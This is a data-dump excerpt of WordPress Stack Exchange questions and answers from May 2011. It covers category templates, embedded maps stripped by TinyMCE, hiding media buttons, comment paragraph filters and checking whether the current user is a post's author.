  <row Id="17225" PostTypeId="1" CreationDate="2011-05-14T13:47:40.237" Score="0" ViewCount="21" Body="&lt;p&gt;I want to add a wordpress blod on my site running on IIS. How can I do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g My blog URL will be www.mydomain.com/blog&lt;/p&gt;&#xA;" OwnerUserId="5364" LastActivityDate="2011-05-14T13:47:40.237" Title="Wordpress and IIS. Deploy two servers at one domain" Tags="&lt;3.0&gt;&lt;php&gt;&lt;server&gt;" />
  <row Id="17226" PostTypeId="1" AcceptedAnswerId="17228" CreationDate="2011-05-14T13:51:21.843" Score="0" ViewCount="156" Body="&lt;p&gt;This is going to be tough to explain. I have created a custom theme and have a file called: categories.php, in this file i have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        $args = array('hide_empty' =&amp;gt; FALSE);&#xA;        wp_list_categories($args);&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays all my categories as links, even the ones without a post associated with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My permalink structure is this /%category%/%postname%/ so when i click a category name i go to &lt;a href=&quot;http://example.com/category/action/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category/action/&lt;/a&gt;. This is fine but what i'm struggling with is what file i have to create and what i have to put in said file so it displays all the posts from the clicked category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-05-14T13:57:30.953" Title="Display all posts from selected category" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="17227" PostTypeId="1" AcceptedAnswerId="17229" CreationDate="2011-05-14T13:53:35.933" Score="0" ViewCount="39" Body="&lt;p&gt;i am using the Smart Youtube plugin for wordpress to show youtube videos.  This works fine on my main site.  But when i click on a view by a certain tags, none of the video show up in the blog entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so when i view: &lt;strong&gt;http://mysite.com&lt;/strong&gt;  it works fine and when i view an individual post like:&#xA;&lt;strong&gt;http://mysite.com/?p=3580&lt;/strong&gt;, it works fine but when i view  &lt;strong&gt;http://mysite.com/?tag=video&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it only shows the blog entry heading (and not the video).  if i click into the post it shows it fine on the individual page.  Is there anyway to see videos on a page by tags?&lt;/p&gt;&#xA;" OwnerUserId="1195" LastActivityDate="2011-05-14T14:00:59.537" Title="videos not showing on my tag pages" Tags="&lt;tags&gt;&lt;videos&gt;&lt;youtube&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="17228" PostTypeId="2" ParentId="17226" CreationDate="2011-05-14T13:57:30.953" Score="1" ViewCount="" Body="&lt;p&gt;if category.php does not exist, make a copy of archive.php or index.php and save it as category.php;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then, before the start of the loop, add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php global $query_string; query_posts( $query_string . '&amp;amp;posts_per_page=-1'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-14T13:57:30.953" CommentCount="2" />
  <row Id="17229" PostTypeId="2" ParentId="17227" CreationDate="2011-05-14T14:00:59.537" Score="2" ViewCount="" Body="&lt;p&gt;edit tag.php (or archive.php if tag.php does not exist) and look for &lt;code&gt;the_excerpt();&lt;/code&gt; - exchange it with &lt;code&gt;the_content();&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_excerpt&quot; rel=&quot;nofollow&quot;&gt;codex the_excerpt()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/the_content&quot; rel=&quot;nofollow&quot;&gt;codex the_content()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-14T14:00:59.537" />
  <row Id="17230" PostTypeId="2" ParentId="17224" CreationDate="2011-05-14T14:11:45.560" Score="0" ViewCount="" Body="&lt;p&gt;As far as i can see from looking at &lt;code&gt;/json-api-root/models/__FILE__.php&lt;/code&gt;, there's no support for custom post types. Also the plugin includes no hooks or filters that would allow for extension (you could extend the classes). In one word: &quot;You have to write the support for this yourself&quot;. If you're thinking about it, I'd (in your case) first contact the plugin author and talk with him/them about how to get access to the repo. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-14T14:11:45.560" CommentCount="1" />
  <row Id="17231" PostTypeId="2" ParentId="17184" CreationDate="2011-05-14T14:21:33.033" Score="0" ViewCount="" Body="&lt;p&gt;You could also simply use css: &lt;code&gt;#menu-item-ID&lt;/code&gt; (where &quot;ID&quot; is the unique ID of the page/post/category/whatever).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-14T14:21:33.033" CommentCount="1" />
  <row Id="17232" PostTypeId="2" ParentId="17196" CreationDate="2011-05-14T14:32:57.957" Score="0" ViewCount="" Body="&lt;p&gt;User Submitted Posts plugin mentioned above is actually perfect. It allows image uploads, the ability to select a category and a lot of control for the site owner.&lt;/p&gt;&#xA;" OwnerUserId="5365" LastActivityDate="2011-05-14T14:32:57.957" />
  <row Id="17233" PostTypeId="1" CreationDate="2011-05-14T14:38:08.317" Score="0" ViewCount="173" Body="&lt;p&gt;I am working on a custom job board for a client that wants to deploy this job board on a multi-site network. Here is my problem, I need to store certain jobs in a table that would be accessible to all sites in the network (e.g. a nationwide listing) instead of just locally (e.g. local listing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: can data from a custom post type be stored in a custom table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Perhaps more clarification is needed. My client has a multi-site network job board. There are job boards for specific regions (e.g. San Diego, Austin, Denver, etc.). Right now, a user posts a job for Denver on the Denver site but if he has a job he wants to advertise nationwide, he would have to post the job on all sites in the network. We want to create a custom post type for jobs that gives the user the opportunity to select a nationwide category and upon saving the job, have it show up on all the sites in the network. The one way we could see making this work would be to have a job tagged as 'nationwide&quot; save its data in a separate table outside the typical wp_1_posts table so that we could query that table for nationwide jobs and list them on ALL the sites in the network automatically as a part of the theme. &lt;/p&gt;&#xA;" OwnerUserId="5366" LastEditorUserId="5366" LastEditorDisplayName="" LastEditDate="2011-05-14T18:36:34.807" LastActivityDate="2011-08-15T00:24:23.930" Title="Storing Custom Post Type Data in a Custom Table" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="17234" PostTypeId="2" ParentId="15295" CreationDate="2011-05-14T14:47:59.960" Score="1" ViewCount="" Body="&lt;p&gt;You can also publish posts in the future.  That way you wouldn't even need cron.&lt;/p&gt;&#xA;" OwnerUserId="5367" LastActivityDate="2011-05-14T14:47:59.960" />
  <row Id="17235" PostTypeId="2" ParentId="16901" CreationDate="2011-05-14T15:02:07.367" Score="0" ViewCount="" Body="&lt;p&gt;If you want to remove the need for C# polling then this shameless plug (in :) might solve your problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/improved-cron/176543?ref=paulswebsolutions&quot; rel=&quot;nofollow&quot; title=&quot;Improved Cron&quot;&gt;Improved Cron&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="5367" LastActivityDate="2011-05-14T15:02:07.367" />
  <row Id="17236" PostTypeId="1" CreationDate="2011-05-14T15:33:03.367" Score="0" ViewCount="107" Body="&lt;p&gt;I've been doing some stuff with the cformsII plugin lately and probably stretching it a bit beyond what it was really designed for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that when I create multiple multi-page forms on a site or just try to include the same multi-page form on more than one page of a site, the form just redirects to the first page after the second, never reaching the third, fourth, fifth pages of the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to work fine when there is only one multi-page form defined on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks like an a known bug, and the &lt;a href=&quot;http://www.deliciousdays.com/cforms-forum/troubleshooting/multi-page-form-redirecting-wrong/&quot; rel=&quot;nofollow&quot;&gt;plugin forums&lt;/a&gt; aren't finding any help. So I thought I'd bring the question here and see if anyone has worked around this problem... and if so, how to fix it.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-14T15:33:03.367" Title="cForms Multi-Page Form redirecting to start instead of following the form order defined" Tags="&lt;plugins&gt;&lt;contact&gt;&lt;plugin-cforms&gt;" />
  <row Id="17237" PostTypeId="2" ParentId="5340" CreationDate="2011-05-14T15:46:26.887" Score="-1" ViewCount="" Body="&lt;p&gt;WordPress is the perfect tool for this.  In full disclosure, we've actually built this very thing at groupdealsplugin.com.  Let me know if you'd like a demo!&lt;/p&gt;&#xA;" OwnerUserId="5368" LastActivityDate="2011-05-14T15:46:26.887" />
  <row Id="17238" PostTypeId="2" ParentId="7472" CreationDate="2011-05-14T16:10:02.800" Score="4" ViewCount="" Body="&lt;p&gt;The UpThemes team has just released their &lt;a href=&quot;https://github.com/chriswallace/UpThemes-Framework&quot; rel=&quot;nofollow&quot;&gt;options framework&lt;/a&gt; as an opensource for everyone. It worth to take a look.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-05-14T16:10:02.800" />
  <row Id="17239" PostTypeId="2" ParentId="17233" CreationDate="2011-05-14T16:17:09.123" Score="0" ViewCount="" Body="&lt;p&gt;I don't see any reason why you should not stay with a regular custom post type, that is how the data is stored in the database, and it works for multi-site. If you have a particular reason to make a custom database table that I have missed, look at pods cms, this is exactly what it does, or you can always interact directly with the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;http://podscms.org/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wpdb_Class&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-14T16:17:09.123" />
  <row Id="17240" PostTypeId="1" AcceptedAnswerId="17249" CreationDate="2011-05-14T16:47:59.513" Score="1" ViewCount="196" Body="&lt;p&gt;Every time I edit a WordPress post or page that has a google map embedded in it - useing the &quot;visual&quot; edit mode - wordpress deletes part of the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example: this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe width=&quot;425&quot; height=&quot;350&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; src=&quot;http://maps.google.com/maps/ms?ie=UTF8&amp;amp;amp;hl=en&amp;amp;amp;msa=0&amp;amp;amp;msid=212526618623367333770.00049b7dc074f6426719d&amp;amp;amp;t=h&amp;amp;amp;ll=34.926059,-81.964874&amp;amp;amp;spn=0.300106,0.458336&amp;amp;amp;output=embed&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;small&amp;gt;View &amp;lt;a href=&quot;http://maps.google.com/maps/ms?ie=UTF8&amp;amp;amp;hl=en&amp;amp;amp;msa=0&amp;amp;amp;msid=212526618623367333770.00049b7dc074f6426719d&amp;amp;amp;t=h&amp;amp;amp;ll=34.926059,-81.964874&amp;amp;amp;spn=0.300106,0.458336&amp;amp;amp;source=embed&quot; style=&quot;color:#0000FF;text-align:left&quot;&amp;gt;1825 Spartanburgh Map&amp;lt;/a&amp;gt; in a larger map&amp;lt;/small&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;turns into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;small&amp;gt;View &amp;lt;a style=&quot;color: #0000ff; text-align: left;&quot; href=&quot;http://maps.google.com/maps/ms?ie=UTF8&amp;amp;amp;hl=en&amp;amp;amp;msa=0&amp;amp;amp;msid=212526618623367333770.00049b7dc074f6426719d&amp;amp;amp;ll=34.926059,-81.943846&amp;amp;amp;spn=0.300106,0.416279&amp;amp;amp;source=embed&quot;&amp;gt;1825&amp;lt;/a&amp;gt; in a larger map&amp;lt;/small&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which does not render the map at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not happen when I edit in &quot;html&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent Wordpress from altering this embed code?&lt;/p&gt;&#xA;" OwnerUserId="4900" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-14T23:45:46.227" LastActivityDate="2011-05-25T06:32:19.733" Title="WordPress keeps altering my embed code" Tags="&lt;embed&gt;" AnswerCount="2" />
  <row Id="17241" PostTypeId="1" CreationDate="2011-05-14T17:24:07.130" Score="0" ViewCount="107" Body="&lt;p&gt;I would like to remove some of the media upload buttons just above TinyMCE in the Add post screen, how can I do that? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5370" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-15T00:29:45.127" LastActivityDate="2011-05-15T00:29:45.127" Title="How to remove some media upload icons from post editor?" Tags="&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="17243" PostTypeId="2" ParentId="17240" CreationDate="2011-05-14T18:03:23.320" Score="1" ViewCount="" Body="&lt;p&gt;I don't know for certain, but I think it may be related to the allowed tags for posts. See my question from a few days ago. Basically wordpress will filter out tags that are not allowed. So for example you could prevent script tags. You also have to specify what parameters are allowed. So for instance you could allow an img tag with the src attribute, but not the alt attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/17089/what-are-allowedposttags-and-allowedtags&quot;&gt;What are allowedposttags and allowedtags?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-05-14T18:03:23.320" CommentCount="1" />
  <row Id="17244" PostTypeId="2" ParentId="17241" CreationDate="2011-05-14T18:13:01.197" Score="2" ViewCount="" Body="&lt;p&gt;If you want to get rid all &lt;em&gt;all&lt;/em&gt; media buttons, you can remove the &lt;code&gt;media_buttons&lt;/code&gt; action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'remove_all_media_buttons');&#xA;&#xA;function remove_all_media_buttons()&#xA;{&#xA;    remove_all_actions('media_buttons');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you only want to remove some buttons, I suggest adding an admin stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'my_admin_stylesheet');&#xA;&#xA;function my_admin_stylesheet()&#xA;{&#xA;    wp_enqueue_style('my_admin', get_bloginfo('template_url').'/css/my_admin.css');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;my_admin.css&lt;/code&gt; you can hide the buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Hide the buttons you want */&#xA;#add_image { display:none; }&#xA;#add_video { display:none; }&#xA;#add_audio { display:none; }&#xA;#add_media { display:none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-14T18:13:01.197" />
  <row Id="17245" PostTypeId="1" CreationDate="2011-05-14T18:28:22.943" Score="0" ViewCount="220" Body="&lt;p&gt;I Was created Frontend Insert post in custom page, I Follow Tutorial by &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13437/frontend-post-form-validation&quot;&gt;Frontend Post Form Validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in custom page, I submit simple form with some validation in same page.&#xA;I use textarea to handle post_content. &#xA;Now, I Want to Learn how to replace textarea with tinyMCE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone can help me ? Please ...Where I Must Learn...? &lt;br/&gt;&#xA;&lt;strong&gt;My Plan want to create tinyMCE and limit in editor tinyMCE where user can't&#xA;give a link.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank's a lot, Sorry for bad My English language..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reddy Rk &lt;/p&gt;&#xA;" OwnerUserId="4498" LastActivityDate="2011-05-14T18:28:22.943" Title="Frontend Insert Post with tinyMCE in custom page" Tags="&lt;custom-field&gt;&lt;tinymce&gt;&lt;wp-insert-post&gt;" CommentCount="2" />
  <row Id="17246" PostTypeId="2" ParentId="9331" CreationDate="2011-05-14T19:38:46.570" Score="0" ViewCount="" Body="&lt;p&gt;I think, you use plugin like &lt;strong&gt;WP-Facebook Like This&lt;/strong&gt; in your wordpress blog. It inserts &lt;strong&gt;iframe&lt;/strong&gt; tags in your blog record and Livejournal.com replace it with &quot;lj-embed&quot; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I resolved this task by adding next lines before initialize $args array (near line 635):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $the_event = preg_replace('/&amp;lt;iframe.*?&amp;lt;\/iframe&amp;gt;/si', '', $the_event).'';&#xA;    $the_event = preg_replace('/&amp;lt;div.*?like.*?\/div&amp;gt;/si', '', $the_event).'';&#xA;&#xA;    $the_event = preg_replace('/(&amp;lt;img.*?class\s*=\s*&quot;\s*alignleft\s*&quot;)(.*?&amp;gt;)/si', '$1 style=&quot;float: left; padding: 5px 10px 5px 0px;&quot; $2', $the_event );&#xA;    $the_event = preg_replace('/(&amp;lt;img.*?class\s*=\s*&quot;\s*alignright\s*&quot;)(.*?&amp;gt;)/si', '$1 style=&quot;float: right; padding: 5px 10px 5px 0px;&quot; $2', $the_event );&#xA;    $the_event = preg_replace('/(&amp;lt;img.*?class\s*=\s*&quot;\s*aligncenter\s*&quot;)(.*?&amp;gt;)/si', '$1 align=&quot;center&quot; $2', $the_event );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think, it helps you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&#xA;Yaroslav Mudrik&lt;/p&gt;&#xA;" OwnerUserId="5373" LastActivityDate="2011-05-14T19:38:46.570" />
  <row Id="17248" PostTypeId="1" AcceptedAnswerId="17253" CreationDate="2011-05-14T21:18:46.713" Score="1" ViewCount="119" Body="&lt;p&gt;Im not sure if you guys have encountered this problem, but WordPress appends empty &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags before and after the body of text from the &lt;code&gt;comment_text()&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, when you &lt;code&gt;echo get_comment_text()&lt;/code&gt; or &lt;code&gt;echo $comment-&amp;gt;comment_content&lt;/code&gt; (same thing) the empty &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags disappear before and after the body of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is entirely exclusive to a call to &lt;code&gt;comment_text()&lt;/code&gt;. If you'd like to recreate it the problem, give your &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags top and bottom padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway to fix this?&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-14T21:45:47.513" Title="How to disable empty &lt;p&gt; tags in comment_text()" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="17249" PostTypeId="2" ParentId="17240" CreationDate="2011-05-14T21:19:04.260" Score="3" ViewCount="" Body="&lt;p&gt;The issue is WordPress' core configuration of TinyMCE, which strips IFRAME tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can modify this configuration, to allow IFRAME tags, by hooking into &lt;code&gt;tiny_mce_before_init&lt;/code&gt;. For example, the following code will prevent TinyMCE from stripping IFRAME, PRE, and DIV tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_tinymce_config( $init ) {&#xA;&#xA;// Change code cleanup/content filtering config&#xA;&#xA;    // Don't remove line breaks&#xA;    $init['remove_linebreaks'] = false; &#xA;    // Convert newline characters to BR tags&#xA;    $init['convert_newlines_to_brs'] = true; &#xA;    // Preserve tab/space whitespace&#xA;    $init['preformatted'] = true; &#xA;    // Add to list of formats to remove with Remove Format button&#xA;    $init['removeformat_selector'] = 'b,strong,em,i,span,ins,del,h1,h2,h3,h4,h5,h6,pre';&#xA;    // Do not remove redundant BR tags&#xA;    $init['remove_redundant_brs'] = false;&#xA;&#xA;// Add to list of valid HTML elements (so they don't get stripped)&#xA;&#xA;    // IFRAME&#xA;    $valid_iframe = 'iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]';&#xA;    // PRE&#xA;    $valid_pre = 'pre[id|name|class|style]';&#xA;    // DIV&#xA;    $valid_div = 'div[align&amp;lt;center?justify?left?right|class|dir&amp;lt;ltr?rtl|id|lang|onclick|ondblclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|style|title]';&#xA;&#xA;    // Concatenate &#xA;    $cbnet_valid_elements = $valid_iframe . ',' . $valid_pre . ',' . $valid_div;&#xA;&#xA;    // Add to extended_valid_elements if it alreay exists&#xA;    if ( isset( $init['extended_valid_elements'] ) ) {&#xA;        $init['extended_valid_elements'] .= ',' . $cbnet_valid_elements;&#xA;    } else {&#xA;        $init['extended_valid_elements'] = $cbnet_valid_elements;&#xA;    }&#xA;&#xA;// Pass $init back to WordPress&#xA;    return $init;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'mytheme_tinymce_config');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration&quot; rel=&quot;nofollow&quot;&gt;See here for the full list of configurable options&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-15T17:25:28.107" LastActivityDate="2011-05-15T17:25:28.107" CommentCount="8" />
  <row Id="17250" PostTypeId="1" AcceptedAnswerId="17255" CreationDate="2011-05-14T21:21:30.313" Score="1" ViewCount="55" Body="&lt;p&gt;I'm writing my own plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;works like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myfunc (){&#xA;    $a = 'hello';&#xA;    // the sentence what Am looking for: &#xA;    if ( user is logged and is the author of current post / page ){&#xA;        $a= 'author';&#xA;    }&#xA;    return $a; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wondering how I can do that sencence / function?&lt;/p&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2011-05-14T21:51:49.593" Title="Show info to author only" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="17251" PostTypeId="2" ParentId="17201" CreationDate="2011-05-14T21:26:18.230" Score="1" ViewCount="" Body="&lt;p&gt;Why not use the Settings API, and process the &lt;code&gt;$_POST&lt;/code&gt; data inside the validation callback function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, wait: you said &lt;em&gt;front-end&lt;/em&gt; form, which I assume is not related to Plugin options? (If the form &lt;em&gt;does&lt;/em&gt; for some reason update Plugin options, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13794/save-theme-options-options-php-from-the-frontend&quot;&gt;see here&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are you adding your form? Shortcode? Post data? Hard-coded into the template?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-14T21:34:57.207" LastActivityDate="2011-05-14T21:34:57.207" />
  <row Id="17252" PostTypeId="2" ParentId="17199" CreationDate="2011-05-14T21:37:53.647" Score="0" ViewCount="" Body="&lt;p&gt;Your code only works if you are actually &lt;em&gt;calling &lt;code&gt;wp_get_attachment_link()&lt;/code&gt; somewhere in your template&lt;/em&gt;. If you're not calling the function, then the &lt;code&gt;apply_filters()&lt;/code&gt; &lt;em&gt;inside the function&lt;/em&gt; will never get called, and therefore your code will have nothing into which to hook.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-14T21:37:53.647" CommentCount="0" />
  <row Id="17253" PostTypeId="2" ParentId="17248" CreationDate="2011-05-14T21:45:47.513" Score="3" ViewCount="" Body="&lt;p&gt;If you look in &lt;code&gt;wp-includes/default-filters.php&lt;/code&gt; you'll see all of the functions each comment is run through before it's output. I'd guess it's the last one, wpautop, which adds p tags in place of line breaks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'comment_text', 'wptexturize'            );&#xA;add_filter( 'comment_text', 'convert_chars'          );&#xA;add_filter( 'comment_text', 'make_clickable',      9 );&#xA;add_filter( 'comment_text', 'force_balance_tags', 25 );&#xA;add_filter( 'comment_text', 'convert_smilies',    20 );&#xA;add_filter( 'comment_text', 'wpautop',            30 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can &lt;code&gt;remove_filter( 'comment_text', 'wpautop', 30 );&lt;/code&gt; to confirm, but you'll lose paragraphs entirely.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-14T21:45:47.513" CommentCount="2" />
  <row Id="17254" PostTypeId="1" CreationDate="2011-05-14T21:46:28.497" Score="1" ViewCount="79" Body="&lt;p&gt;So... what I'm trying to do is simple - get the post content for all posts, but only in a given category. Simple - filter the loop using in_category. So I did this (this is actually a stripped version of the loop I used to try to troubleshoot this): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php&#xA;        if(in_category('7')) {&#xA;        the_title();&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;!-- post navigation --&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;    &amp;lt;!-- no posts found --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &amp;lt;!-- main --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the catch... for category 7 it only returns ONE post (the most recent). For other categories, I get all of the posts in that category. Removing the restriction gives all posts. The posts in category 7 aren't assigned to any other category. Creating a new category and reassigning the posts in category 7 does not work... but creating new posts and assigning them to a new category and then using THAT new category ID does. But twice now it's stopped working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That code is the entire loop - there's nothing else on the page aside from HTML markup at this point. I can't see why the code wouldn't simply give me all published posts in category 7 (and yes, they are all set to Published and Public). I've got code another page that looks for recent posts in that category and THAT code finds them. I can modify that and use it here, but I'm curious as to what I'm missing here.  Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2624" LastEditorUserId="2624" LastEditorDisplayName="" LastEditDate="2011-05-14T21:55:26.257" LastActivityDate="2011-05-14T22:02:19.233" Title="Why would in_category only return one post in a specific category?" Tags="&lt;categories&gt;&lt;the-loop&gt;" AnswerCount="2" />
  <row Id="17255" PostTypeId="2" ParentId="17250" CreationDate="2011-05-14T21:47:06.223" Score="1" ViewCount="" Body="&lt;p&gt;Just compare display names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentuser = get_currentuserinfo();&#xA;&#xA;if ( get_the_author() == $currentuser-&amp;gt;displayname ) {&#xA;     // current user is the post author; do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;get_the_author()&lt;/code&gt; function returns &lt;code&gt;displayname&lt;/code&gt;, which should be able to be compared against the &lt;code&gt;displayname&lt;/code&gt; parameter that is a part of the &lt;code&gt;$currentuser&lt;/code&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-14T21:47:06.223" CommentCount="2" />
  <row Id="17256" PostTypeId="2" ParentId="17250" CreationDate="2011-05-14T21:51:49.593" Score="1" ViewCount="" Body="&lt;p&gt;You can get this information using the current_user and post variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myfunc (){&#xA;    global $current_user, $post;&#xA;    $a = 'hello';&#xA;    // check if current user id matches post author id&#xA;    if ( $current_user-&amp;gt;ID == $post-&amp;gt;post_author ){&#xA;        $a = 'author';&#xA;    }&#xA;    return $a; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-05-14T21:51:49.593" />
